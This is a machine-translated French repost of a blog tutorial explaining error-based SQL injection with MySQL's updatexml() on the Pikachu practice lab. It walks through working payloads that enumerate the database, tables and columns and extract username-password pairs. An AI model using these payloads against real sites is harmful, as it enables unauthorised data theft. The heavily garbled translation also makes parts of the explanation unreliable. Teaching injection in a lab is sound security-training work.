La position actuelle:Accueil du site>Explication détaillée de l'injection aveugle d'erreur SQL
Explication détaillée de l'injection aveugle d'erreur SQL
2022-07-23 17:17:23【Toujours un adolescent.】
Continuez à vous présenter aujourd'huiLinuxConnaissance de l'exploitation et de l'entretien,Le contenu principal de cet article estSQLExplication détaillée de l'injection aveugle pour la Déclaration des erreurs.
Disclaimer:
Le contenu de cet article n'est utilisé qu'à des fins d'apprentissage et de communication.,Il est strictement interdit d'utiliser la technologie du texte pour commettre des actes illégaux.,Sinon, vous en subirez les conséquences.!
Encore une fois,:Les essais de pénétration des équipements non autorisés sont strictement interdits.!
Un.、SQLExplication détaillée de la fonction de déclaration des erreurs
updatexml();floor();extractvalue();Les fonctions équivalentes peuvent être utilisées pour construireSQLFonction d'erreur,Aujourd'hui, nous allons principalement expliquer l'utilisationupdatexml()Fonctions.
updatexml()La fonction utilise le format suivant:
updatexml(XML_document,XPath_string,new_value)
XML_document- Oui.StringFormatXMLNom du document,XPath_string- Oui.XPathChaîne formatée,new_value- Oui.StringChaîne formatée,Utilisé pour remplacer les données qualifiées trouvées.
Cette fonction a une propriété,C'est - à - dire siXPath_stringNon, pas du tout.XPathChaîne formatée,Une erreur est signalée et affichéeXPathValeur de,Donc,,Nous pouvons utiliser cette fonctionnalité pour réaliserSQLErreur d'injection aveugle.En outre,Nous pouvons également utiliserupdatexml()Propriétés de la fonction,Mise en œuvreSQLInsérer、Supprimer leSQLInjection.
2.、SQLErreur d'injection aveuglepayloadStructure
1、updatexml Construction de phrases pensée
updatexml()Construction de fonctions, Il faut d'abord fermer SQLDeux points dans l'énoncé、Parenthèses. Ensuite, il faut utiliser andOuor Les déclarations sont reliées en une seule déclaration , Cela permettra d'exécuter avec succès updatexml()Déclarations en fonction.
En bas, J'ai pris comme exemple le champ de tir de picaccio ,Voici une brève introductionupdatexmlInjection d’erreurpayload Idées de construction ,Pikachu rangeSQL insert/update La page d'injection de type est la suivante :
Comme le montre la figure ci - dessus,, Cette page est fonctionnellement l'inscription du fournisseur , On peut donc supposer que son intérieur est insertTypeSQLDéclarations, Pour qu'on puisse passer au téléphone 、 Adresse, etc. ( En général, ne choisissez pas de mot de passe , Parce que beaucoup de sites Web font des mots de passe md5Traitement, Ce qui a conduit à notre updatexmlÉchec) Insérer notre updatexmlDéclarations. Des expériences simples permettent de savoir , L'injection de ce site est fermée en guillemets simples ,Donc,payload Le format de construction est :
12' or updatexml() or'
2、Interroger la base de données actuelle
Quand nous sommes sûrsupdatexml() Après le formatage de la fonction , On pourrait écrire sur la réalité payloadLa déclaration est, Les commandes pertinentes sont les suivantes :
12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
De haut en baspayloadComme vous pouvez le voir,,updatexml() La fonction se compose de trois parties , Nous devons faire ce que nous allons faire SQL La déclaration est écrite dans la deuxième partie ,La deuxième partie est uneconcat()Fonctions, La raison pour laquelle les raccords 0x7eC'est parce que16 Le caractère décimal est une ligne ondulée , Peut également être remplacé par d'autres caractères .
LepayloadLes résultats sont les suivants::
Comme le montre la figure ci - dessus, Notre base de données actuelle s'appelle pikachu.
3、Nom de la table de requête
Pour interroger le nom de la table payloadComme suit:
12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '
Au - dessus depayloadMoyenne,concatIntermédiaireSQL L'énoncé doit être entre parenthèses , Puis écrivez la commande de requête normale ,LepayloadLes résultats sont les suivants::
Comme le montre la figure ci - dessus, Nous avons vérifié qu'il y avait un nom dans la base de données actuelle httpinfoTableau,Si on changelimitLimites, Alors on peut avoir plus de montres .
4、Nom de la colonne de requête
Pour interroger les noms de colonnes payloadComme suit:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '
Lepayload Le principe de construction est similaire à ce qui précède ,Les résultats sont les suivants::
5、Nom du champ de requête
Nom du champ demandé payloadComme suit:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '
Lepayload Le principe de construction est similaire à ce qui précède ,Les résultats sont les suivants::
6、Recherche de données
Requête de données payloadComme suit:
12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '
Lepayload Le principe de construction est similaire à ce qui précède ,Les résultats sont les suivants::
L'originalité n'est pas facile,Réimpression Veuillez indiquer la source:https://blog.csdn.net/weixin_40228200
Mentions de copyright
Auteur de cet article [Toujours un adolescent.],Réimpression s’il vous plaît apporter le lien vers l’original, merci
https://fra.chowdera.com/2022/204/202207231417076237.html
Recommandé par sidebar
- 【 Azure Event center】 Azure Event hub New Function attempt - GEO Disaster Recovery
- Quels sont les facteurs qui influent sur la prestation continue?
- 【 Tutoriel de démarrage rapide 7】 utilisation et introduction de l'ordinateur hôte de la station au sol de l'UAV en formation de coquille folle · Open Source
- Détails de la configuration redis
- Docker installe MySQL, redis
- Le circuit de limitation d'amplitude et le circuit de serrage utilisent la conductivité unidirectionnelle de la diode
- [carte des connaissances] cql et py2neo notes d'apprentissage
- C apprentissage des langues
- Application combinée de la ligne de transfert de colonne et de l'ensemble de données dans le scénario d'affaires
- Configuration SSL MySQL 5.6 / 5.7
Devinez que vous aimez
[apprentissage profond] fonction de perte (erreur absolue moyenne, erreur carrée moyenne, perte de lissage, entropie croisée, entropie croisée pondérée, perte de dé, focalloss)
Optimisation de précision * stratégie d'optimisation 1: Réseau + optimiseur Sam
Détails du Protocole Axi
JS - - date Object & Ternary expression
Leetcode - 494. Objectifs et
L'interface utilisateur 3D ou le modèle dans l'unit é fait toujours face à la caméra et tourne avec l'angle de vue de la caméra 丨 l'angle de vue suit 丨 l'angle de vue fixe
Discussion préliminaire sur JVM
Déploiement de l'environnement appium pour les tests mobiles [à poursuivre]
À propos du montage de fond, de la gestion des processus
Lire la lecture efficace - l'auto - investissement le plus rentable
Recommandé au hasard
- Transplantation de systèmes embarqués
- Saisissez une chaîne de caractères à partir du clavier et affichez différents caractères et le nombre d'occurrences de chaque caractère. (la sortie n'est pas séquentielle) résoudre le problème en utilisant la méthode commune de la classe de chaîne
- 2019 Bar _ Aaai ICCN
- Conditions affectant la vitesse de requête de l'interface
- Stack et file d'attente de l'adaptateur STL
- Analyse de la stratégie de lecture et d'écriture du cache
- Classes et objets (1)
- Expérience II Yuv
- Comment synchroniser
- [arxiv2022] grouptransnet: Group transformer Network for RGB - D Salient Object Detection
- Avantages de la salle des machines bgp
- La fosse Piétinée par l'homme vous dit d'éviter les 10 erreurs courantes dans les tests automatisés
- Déterminer s'il s'agit d'un type vide
- Langue C - quelques exercices classiques de langue C
- Openvino Datawhale
- Question 300 Leçon 6 type quadratique
- Analyse du code source et de la conception de redis - - 7. Liste rapide
- Concepts et différences de bits, bits, octets et mots
- Déploiement du projet (version abrégée)
- JDBC Learning and simple Encapsulation
- [Python flask note 5] Blueprint simple à utiliser
- Composants web - cycle de vie des éléments personnalisés
- Entrepôt de données 4.0 Notes - acquisition de données commerciales
- Entrepôt de données 4.0 Notes - acquisition de données sur le comportement de l'utilisateur II
- Affichage itératif des fichiers.h5, opérations de données h5py
- Résumé des connaissances mathématiques communes
- Comment se développe le serveur GPU refroidi à l'eau dans le Centre de données dans le cadre de l'informatique est - Ouest?
- Connaissance du matériel 1 - schéma et type d'interface (basé sur le tutoriel vidéo complet de l'exploitation du matériel de baiman)
- Examen des principes fondamentaux de la structure en acier
- Unity3d: ugui source, Rebuild Optimization
- Solution rapide: xshell ne peut pas glisser dans un dossier ou un paquet
- Rhcsa - - parcourir le contenu du fichier, couper, uniq, trier, utiliser les commandes.tr
- Intégrité du signal (si) intégrité de l'alimentation électrique (PI) notes d'apprentissage (32) Réseau de distribution d'énergie (4)
- Quelle est la raison pour laquelle la plate - forme easygbs ne peut pas lire l'enregistrement vidéo et a un phénomène de streaming répété rtmp?
- Notes du jour 7
- 【 Visual Dispatching Software】 Shanghai Dow Ning apporte netronic download, Trial, tutoriel pour l'Organisation SMB
- 2. Les règles quantitatives
- Événements courants de la souris et du clavier
- C #: in, out, ref Keywords
- Connaissance détaillée du GRE, du mgre; Connaissance de la configuration de base de l'OSPF